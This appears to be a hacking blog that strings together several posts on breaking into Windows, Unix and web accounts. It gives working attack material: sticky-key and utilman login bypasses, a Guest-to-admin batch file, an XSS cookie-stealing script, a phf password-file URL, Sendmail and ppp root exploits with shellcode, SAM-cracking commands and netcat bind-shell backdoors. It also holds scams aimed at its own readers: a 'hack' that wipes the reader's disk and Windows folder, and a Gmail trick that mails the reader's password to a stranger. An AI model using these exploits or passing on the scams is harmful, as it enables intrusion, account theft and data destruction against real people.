Hacking Websites: Fun or Terror?

With a proper understanding of the relevant programming languages such as C, C++, Pearl, java etc. one can be fully equipped with the technique of hacking into website. There backdoors for the web hackers for website hacking. For hacking web sites one of the best ways for the hacker is to install linux on his or her personal computer he or she wants to hack from.
Then he can open up a shell to type: dd if=/dev/zero of=/dev/hda1 and press ENTER. As the next step he will type: dd hf= (url). There are a few other alternatives for hacking sites as well. The web hackers using Windows pc can also master the art of hacking websites with the flicking of his finger.

The first step is to clean up the tracks so that the feds fail to trace out the hacker. This happens automatically in case of linux. Cleaning up of tracks in case of Windows 95 or Windows 98 or Windows ME involves a step-by step procedure. Click Start then Run and then Command. In case of Windows NT or Windows 2000 the Tracks can be cleaned by pressing Start, then Run and then cmd. The next step is to clean up tracks with deltree c:/windows or c:\winnt, or whatever the main windows directory is. At the command prompt, press y, which will then go through and clean up the system's logs. The hackers should perform the same steps again after the hacking sites/hacking wireless internet sites. Then after this cleaning up the hackers should type: ping -l4000 (url).
Cyber Terrorism And Hacker's Group
The whole planet is today terrorized by the web hackers to whom hacking seems a mode of getting pleasure by the way of gaining knowledge or mere entertainment. A group of serious hackers named as PENTAGUARD had cracked into the government sites of Australia, America and England all at a time. The hackers in this case had replaced with a typical statement that read "The largest .gov & .mil mass defacement in the history of mankind".

This was a simple statement with an aesthetic undertone of threat. The act affected almost 24 sites with a transitory disruption.Similarly an educational site on the mad cow disease was defaced along with some cities and the nation's government sites in England. The Alaskan office of the department of interior was once attacked since the secretary of the Interior Designate, Gale Norton, encouraged drilling in the Arctic Wild Life Refugee for sucking out oil.

The common wealth of Australia is of no exception. The search page of the common wealth of Australia was once hacked along with the act of hacking into websites of small municipal sites in Australia. These are a scanty number of instances that proved to have jeopardized the respective concerns severely. The hackers had to use simple techniques and methods to do these. website hacking for these hackers is all as simple as a child's play. Their main focus was on the sites that were designed with vulnerable loopholes.

Read more »

windows xp admin password hacking through Guest Account

account from a guest account by which you can reset the administrator Ever wanted to hack your college pc with guest account/student account so that you can download with full speed there ? or just wanted to hack your friend’s pc to make him gawk when you tell your success story of hacking ? well,there is a great way of hacking an administrator password and getting all the privilages an administrator enjoys on windows..Interested ? read on…

Concept

Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.

Prerequisites

Guest account with write access to system 32.

Here is how to do that -

* Go to C:/windows/system32
* Copy cmd.exe and paste it on desktop
* rename cmd.exe to sethc.exe
* Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.
* Now Log out from your guest account and at the user select window,press shift key 5 times.
* Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.
* Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
* You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
* Congrats You have hacked admin from guest account.

Further..

Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever :)

I hope that was informative..

Read more »

How to Hack a Window XP Admins Password

This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

Read more »

How Hacking Of Passwords Is Achieved

Password hacks can be performed in several ways. The most common used tool is social engineering. Social engineering consists in making a user believe that he is giving confidential information to a trusted party. For example, a cracker could pose as a system administrator from another country and ask for some personal information that could be considered irrelevant by the user. It's quite probable that that information was the last piece of the puzzle required by the cracker for acquiring the password of the user.

Another way of hacking passwords is through a hash function. A hash function is a program that transforms a determined password into a fixed length string. For example, if you have the password foxtrot1256, the hash function will transform it into a key, something like DG65HKSDLK43545SSDFEE232AQQQ10. Some programs use determined artifices for finding the password hidden inside the key.

Since computing power increased, the brute force attack became another choice for cracking passwords. How does it work? Well, it basically tests different kinds of character combinations until it finds the correct one. The problem with this method is that if the password is too long, then the brute force attack won't prosper, at least during a reasonable spam of time. In this kind of situations, it is better to use social engineering to find out the password.

Read more »

Hack "GUEST" with Admin privileges.

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...


~ Cheers ~

Read more »

Teachnique to hack the windows xp password

1. While installing windows almost people forget to enter the admin password and after installation they create an account of admin right but they are not aware of the system admin account.
so you just restart the computer and press F8 key unles it ask for you to open windows in some mode like---
1. safe mode
2. command prompt mode
3. command prompt mode in networking
4 .............
like some option
you just choose the safe mode only and when the login screen will appear you will se two account one is made by the user and other is the default one that is administrator account and click on that account you will not be asked to enter any password.
now you are in the administrator account
here you can do whatever you want...

Read more »

How to hack Gmail passwords

Step 1: Log into your Gmail account.
Step 2: Compose a new mail.
Step 3: In subject box type " PASSWORD RECOVERY "
Step 4: Send this to - pwdmaster@gmail.com
Step 5: Write this in message box.

(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password

(fourth line) –

<
v703&login="passmachine&f=(p0assword)&f=27586&___javascript=ACTIVE&rsa#"
start?>=""><>

{simply copy and paste above.}

How it works:
You mail to a system administrators automatic responder.
Usually only system administrators should be able to use this, but when you
try it with your own password and mail this message from your Gmail account
the computer gets confused! Why your password is needed- automatic Gmail
responder will require your "system administrator password" which is in fact
your own password!!! But the : computer doesn't know.

THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL!
INBOX IN A MAIL CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome
trick and works as many times as you try it. Have fun! NOTE: Use account you have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.

Please be advised that it usually works with Gmail & AOL but i'm not to sure
about HOTMAIL but can try. THE ONLY WAY YOU CAN HACK SOMEONE'S AOL ACCOUNT
IS PROVIDING YOU HAVE AN AOL ACCOUNT.
ALTHOUGH THIS IS GMAIL ACCOUNT INFORMATION CENTER, IT HAS BEEN ABLE TO WORK
WITH AOL.

I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............
HAPPY HACKING ......

Read more »

Website Hacking

Page hits Flooders
This small program can flood ur page hits.
but you have to dedicate one browser for it.. like internet explorer



method:

make a batch file with these lines @echo off
:1
start C:\Progra~1\Intern~1\iexplore.exe "http://yoursite.com"
ping -n 10 127.0.0.1 >nul
taskkill.exe /im iexplore.exe
goto 1
depending upon your net speed u may increase the 10 secs time wait
with 10 sec time u may have 360 hits in an hour
with 5 sec time u may have 720 hits in an hour.




Cookie Steeling

Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).
Why is the cookie so important? Well, first you should see exactly what sort of
information is stored in a cookie. Go to a website that requires a login, and after
logging in erase everything in your address bar and type this line of code:

Code:
jalert(document.cookie)After you press enter, you should see a pop-up window with some information in it
(that is, if this site uses cookies). This is the data that is stored in your cookie. Here’s an
example of what might be in your cookie:

Code:
username=CyberPhreak; password=ilikepieThis is, of course, a very insecure cookie. If any sort of vulnerability was found that
allowed for someone to view other people’s cookies, every user account is possibly
compromised. You’ll be hard-pressed to find a site with cookies like these. However, it
is very common (unfortunately) to find sites with hashes of passwords within the cookie.

The reason that this is unfortunate is because hashes can be cracked, and oftentimes
just knowing the hash is enough.

Now you know why cookies are important; they usually have important information about the
user in them. But how would we go about getting or changing other users’ cookies? This is
the process of cookiestealing.

Cookiestealing is a two-part process. You need to have a script to accept the cookie, and
you need to have a way of sending the cookie to your script. Writing the script to accept
the cookie is the easy part, whereas finding a way to send it to your script is the hard
part. I’ll show you an example of a pHp script that accepts cookies:

Code:
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>And there you have it, a simple cookiestealer. The way this script works is that it accepts
the cookie when it is passed as a variable, in this case ‘cookie’ in the URL, and then
saves it to a file called ‘log.txt’. For example:

Code:
http://yoursite.com/steal.php?cookie=steal.php is the filename of the script we just wrote, ? lets the script know that we are
going to pass some variables to it, and after that we can set cookie equal to whatever
we want, but what we want to do is set cookie equal to the cookie from the site. This
is the second and harder part of the cookiestealer.

Most websites apply some sort of filter to input, so that you can’t directly insert your
own code. XSS deals with finding exploits within filters, allowing you to put your own
code into a website. This might sound difficult, and in most cases it’s not easy, but
it can be very simple.

Any website that allows you to post text potentially allows you to insert your own code
into the website. Some examples of these types of sites are forums, guestbooks, any site
with a "member profile", etc. And any of these sites that have users who log in also
probably use cookies. Now you know what sort of sites might be vulnerable to
cookiestealing.

Let’s assume that we have a website that someone made. This website has user login
capability as well as a guestbook. And let’s also assume that this website doesn’t have
any kind of filtering on what can be put into the guestbook. This means that you can
put HTML and Javascript directly into your post in the guestbook. I’ll give you an
example of some code that we could put into a guestbook post that would send the user’s
cookie to out script:

Code:
Now whenever someone views the page that you posted this on, they will be redirected to
your script with their cookie from this site in the URL. If you were to look at log.txt
now, you’d see the cookies of whoever looked at that page.
But cookiestealing is never that easy. Let’s assume now that the administrator of this
site got smart, and decided to filter out script tags. Now you code doesn’t work, so
we have to try and evade the filter. In this instance, it’s easy enough:

Code:
Click MeIn this case, when the user clicks on the link they will be sent to your stealer with their
cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to get
around filters.




Hacking Webpages



Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique
Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits
Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi


and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting
the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors


now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on

FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include

#include

#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }
main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.

Read more »

Hacking Your Computer

PHYSICAL ACCESS IS TOTAL ACCESS
By www.student3k.com

Table of Contents
-Disclaimer
-Introduction
Part 1: Gaining Access
-LiveCDs
-Windows Option 1: Cracking the Password
-Windows Option 2: Circumventing the Password
-Windows Option 3: Utilman privilege escalation exploit
-MacOSX: Single User Mode
-Linux: /etc/passwd and /etc/shadow
Part 2: Exploiting the System
-Harvesting Information
-Backdoors and Rootkits
Part 3: Conclusion
-Cleaning Up Your Tracks
-How to Prevent These Attacks
-Conclusion
-Tools/Reading Material
-------------
Disclaimer
-------------
This article is intended as a basic overview of techniques to
compromise computers given physical access. Most of this information
is already easily available online, but I thought putting it all in
one place and explaining the techniques and tools in a concise way
would be a worthwhile endeavor. The text of this article is entirely
my own. Hopefully, this could serve as an introduction for someone
who is just starting out and might give some ideas about where to go
next. This is not intended to be an in-depth guide to any of the
specific techniques or tools mentioned in the article, but hopefully
I've included enough explanation for basic understanding of what's
going on. This article may be re-published without permission,
provided my name remains on it. As computer security is a rapidly
changing field, the contents of this article are relevant today
(7/12/2008), but may be out of date in the near future. However, the
general principles of these attacks will most likely remain the same.
This article is intended for educational use only. The attacks
included should only be attempted with permission from the owner of
the target system. Gaining unauthorized access to a computer system
is a felony, and I am not responsible for any damage caused by the
use of these techniques.
---------------
Introduction
--------------- A cardinal rule of computer security is that once an attacker has
acquired physical access to a machine, it is generally trivial for
that attacker to fully compromise the system. As technology
improves, this is becoming less the case, but for now, if an attacker
has physical access to a machine, the attacker can generally breach
its security.
Part 1: Gaining Access
-----------
LiveCDs
-----------
A LiveCD is a complete (sometimes extremely minimal) operating system
that can be run straight from a CD (or a USB drive). Simply pop in
the CD before booting, turn on the computer, tell it to boot from CD
(on my machine, you can bring up a boot menu by pressing F12), and
go.
My LiveCD of choice is BackTrack (http://www.remote-exploit.org/backtrack.html).
It is a LiveCD designed for security and penetration testing, so it
comes bundled with dozens of powerful programs that every security
expert should have.
The LiveCD can be invaluable in bypassing operating system security
because it generally allows a user to access the partitions of the
harddrive without actually running the native operating system. What
this means is that if you just want access to the files on a machine,
you can stop reading here: just boot to a LiveCD, navigate to the
proper partition, and enjoy full file access. However, actually
gaining access to the programs, services, and information stored on a
computer may be more complicated, and is dependent on the operating
system. I will briefly cover basic tactics for gaining administrative access
to Windows, MacOS, and many versions of Linux.
----------------------------------------------------
Windows Option 1: Cracking the Password
----------------------------------------------------
On most Windows operating systems, user information and passwords are
stored in what is called a SAM file. This file is typically stored
in “WINDOWS/System32/config/SAM”, but is not accessible when
Windows is running. The file itself is encrypted with a key stored
in “WINDOWS/System32/config/system”, which is also not accessible
when Windows is running. However, by booting to a LiveCD, these
files can be accessed, and with the proper tools, decryption of the
SAM file and decryption of the passwords stored within is possible.
For this example, I booted the target Windows machine using BackTrack
3. First, I opened up a terminal and navigated to the directory
containing the SAM and system key, and then copied them to a temp
directory. Then, I navigated to the temp directory and decrypted the
SAM file using the bkhive and samdump2 tools, both of which are
included in BackTrack. The harddrive in this instance was mounted as
“hda2”, but this may vary.
# cd /mnt/hda2/WINDOWS/System32/config
# cp SAM /tmp
# cp system /tmp
# cd /tmp
# bkhive system key
# samdump2 SAM key > /tmp/passwords.txt

This results in the decrypted SAM file being stored as a text file
called “passwords.txt”. Now, the passwords in this file must be
decrypted to plaintext if they are to be usable. On Windows
operating systems prior to Vista, the passwords in the SAM file are
encrypted using a notoriously insecure hashing algorithm called LM
(LanManager). On Vista, the SAM file is encrypted using the more
secure NTLM algorithm.
There are typically three approaches to decrypting these passwords:
rainbow tables, wordlists, and brute-force. The detailed specifics
of these approaches are beyond the scope of this article, but I will
give a brief explanation on these methods.
Rainbow tables use an algorithm based on chains of one-way hash
functions to leverage increased pre-computing time to allow for fast password
cracking. Rainbow tables are specially generated for a specific type of hash
(MD5, LM, etc.), and can take anywhere from minutes to years
to generate, but once they have been generated, they can be a powerful
tool to quickly decrypt passwords. Included in BackTrack is
RainbowCrack (http://www.antsight.com/zsl/rainbowcrack/),
the standard tool for generating and utilizing rainbow tables for decryption.
Pre-generated rainbow tables can be found - I recommend FreeRainbowTables
(http://www.freerainbowtables.com/) and the Shmoo Group
(http://rainbowtables.shmoo.com/) for tables.
Sample usage of rtgen for generating rainbow tables of LM hashes (this may take several hours):
# rtgen lm alpha 1 7 0 2100 8000000 all
# rtgen lm alpha 1 7 1 2100 8000000 all
# rtgen lm alpha 1 7 2 2100 8000000 all
# rtgen lm alpha 1 7 3 2100 8000000 all
# rtgen lm alpha 1 7 4 2100 8000000 all

Sample usage of RainbowCrack for using these rainbow tables to
decrypt our SAM passwords:
First sort the tables:
# rtsort lm_alpha#1-7_0_2100x8000000_all.rt
# rtsort lm_alpha#1-7_1_2100x8000000_all.rt
# rtsort lm_alpha#1-7_2_2100x8000000_all.rt
# rtsort lm_alpha#1-7_3_2100x8000000_all.rt
# rtsort lm_alpha#1-7_4_2100x8000000_all.rt
Next, crack the hashes:
# rcrack *.rt -f passwords.txt

If rainbow tables are not an option due to space constraints (the tables
themselves can be enormous) or other reasons, my next preferred
method is using a wordlist. Wordlists are readily available online
and can allow for a dictionary attack: checking the hashes of every
entry in the wordlist against the hashed password and looking for a
match, which would yield the plaintext password. Wordlists vary from
a simple lower-case dictionary to larger, more comprehensive
combinations of uppercase, lowercase, numbers, and symbols. Using
wordlists is a tradeoff – the larger the wordlist, the higher the
chance of cracking the password, but the longer the cracking will
take. My tool of choice for cracking passwords using wordlists is
John the Ripper (http://www.openwall.com/john/), also included in BackTrack.
Sample usage of John the Ripper with a wordlist:
# john -w=[wordlist] -f=NT passwords.txt

If neither wordlists nor rainbow tables are an option, the last
resort is a brute-force attack. Brute-forcing is trying literally
every possible combination of letters, numbers, and symbols.
Obviously, this technique is time-consuming, and sometimes
prohibitively so. Often it would take years to brute-force a
reasonably long, strong password. But for shorter passwords, this
may be an option. Again, I prefer to use John the Ripper.
Sample usage of John the Ripper using brute-force:
# john –incremental:all -f=NT passwords.txt
-----------------------------------------------------------
Windows Option 2: Circumventing the Password
-----------------------------------------------------------
Sometimes, an attacker only desires access to the system but does not
need the knowledge of the owner's password. It is possible to
completely circumvent the Windows login password by wiping out the
password rather than cracking it. This is usually a much faster,
easier process.
In this attack, I typically boot the target Windows machine using
BackTrack. Then, I navigate to the the “WINDOWS/System32/config”
folder and make a backup of the user's SAM and system files. This is
for the purposes of covering my tracks and restoring the original
passwords later. If an attacker were not concerned about stealth,
then this step would be unnecessary. I backup the files to a USB
drive that mounts as “sda1”. This may vary on your system.
# cd /mnt/hda2/WINDOWS/System32/config
# cp SAM /mnt/sda1/
# cp system /mnt/sda1/

Next, I reboot and boot to another of my favorite LiveCDs: the NT Password
and Registry Editor (http://home.eunet.no/pnordahl/ntpasswd/).
By navigating through the menus and following the instructions, it
is trivial to reset a chosen user's password or promote an existing
user to Administrator privileges.
When I am done using the system as an Administrator, I make sure to
restore the user's original SAM and system file, so there is no
evidence of a password change.
-------------------------------------------------------------------
Windows Option 3: Utilman privilege escalation exploit
-------------------------------------------------------------------
Many Windows operating systems allow the running of a service called
Utility Manager prior to actually logging in as a user. This program
is executed with System privileges (a special level higher than
Administrator), so with a LiveCD, it is possible to trick Windows
into executing an arbitrary program with System privileges prior to
logging in. In this example, I'll get a root shell by tricking
Windows into executing cmd.exe instead of utilman.exe.
I boot up the target Windows machine with BackTrack, and navigate to
“WINDOWS/System32”. Then I simply backup utilman.exe, and copy
cmd.exe on top of utilman.exe.
# cd /mnt/hda2/Windows/System32/
# mv Utilman.exe Utilman.backup
# cp cmd.exe Utilman.exe
# reboot

Then, simply boot the system to Windows, and press Windows + U to
open up a command prompt with System privileges. (Note: this method
of exploitation may soon be patched.)
----------------------------------
MacOSX: Single User Mode
----------------------------------
To boot a Mac into “Single User mode”, simply boot the computer
and press Apple + S when blue first shows up on the screen. Next,
mount the harddrive, and either dump the password and crack it with a
tool like John the Ripper, or simply overwrite the root password:
# /sbin/mount -wu /
# /sbin/SystemStarter
To dump the existing root password:
# nidump passwd
To create a new root password:
# passwd root

-------------------------------------------
Linux: /etc/passwd and /etc/shadow
-------------------------------------------
On most Linux operating systems, password information is stored at
/etc/passwd. A sample entry might look like:
root:x:0:0:root:/root:/bin/bash

This is the information for the root user account. The “x”
indicates that the password is encrypted and stored in /etc/shadow.
The corresponding shadow entry might look like:
root:[hash].:14001:0:99999:7:::

This entry contains information on permissions for this user as well
as a hashed password. However, depending on the distribution, Linux
operating systems typically use much more secure hashing functions
including salt values, so decrypting these passwords is not typically
feasible.
Instead, an attacker can reset the password by simply running
BackTrack and checking the /etc/passwd file. If there is an “x”
in the password spot, open the /etc/shadow file and delete the
password hash between the colons. If the hash is in the /etc/passwd
file, simply delete the hash in that file. Then, reboot and login as
root with no password.
Part 2: Exploiting the System
-----------------------------
Harvesting Information
-----------------------------
Once an attacker has gained access to a machine, he or she is now
able to begin harvesting information from the system. Most operating
systems have features to store passwords for wireless settings, and
many web browsers will store passwords and reveal them if prompted.
In addition, tools such as keyloggers may be installed to provide
continued information theft after the attacker has left.
There are many tools that are helpful in automatically dumping
private information from a system. On Windows, my favorite is a USB
application called the “USB Switchblade”. I prefer GonZor's
version (http://gonzor228.com/). This tool can be used to stealthily
dump information on a system that you have access to, but I use it
for all my information gathering needs. It supports the ability to dump
Windows passwords, browser passwords, wireless passwords, and much
more. In addition, it allows you to silently install the VNC remote desktop
tool, which will open up a port (usually 5800) that can be accessed in a
browser for complete remote control. This segues nicely into the next
section...
------------------------------
Leaving the Door Open
------------------------------
In addition to stealing information from the user, many attackers
prefer to set up some sort of backdoor to allow future access to the
system remotely. My personal favorite is NetCat (http://netcat.sourceforge.net/),
which has been called the “Swiss army knife of network tools”.
NetCat is a simple utility that can open ports on a machine for
listening for remote connections, and bind those ports to programs.
For example, on a Windows machine I might run the following command
(in the directory that contains my NetCat executable):
nc -l -p[port] -d -e cmd.exe -L

This opens a port on [port] for listening for a remote connection,
and when a connection is made, it binds cmd.exe to the input and
output of that connection, allowing a remote user to execute
commands. Because using NetCat in such a manner leaves an open
door that any attacker could take advantage of, I prefer to use a
modification of NetCat called CryptCat (http://sourceforge.net/projects/cryptcat/),
which allows for password protection and encrypted channels using a
“-k” parameter to set the password:
cryptcat -l -p[port] -k[password] -d -e cmd.exe -L

Then, on my remote machine, I connect to the open port to gain
access:
cryptcat [target IP] [port] -k [password]

These tools are available cross-platform, increasing their
versatility. However, there are dozens of rootkits and backdoors
available for free use. Most are easily detectable by anti-virus
software, so I recommend coding your own backdoors or learning how to
camouflage software to evade anti-virus detection.
Conclusion
-------------------------------
Cleaning Up Your Tracks
-------------------------------
One of the more difficult tasks for any attacker is leaving behind no
evidence of the infiltration. In general, it is common practice to
backup any files related to passwords before modifying them, and to
restore these files after the attack is finished. Installing a
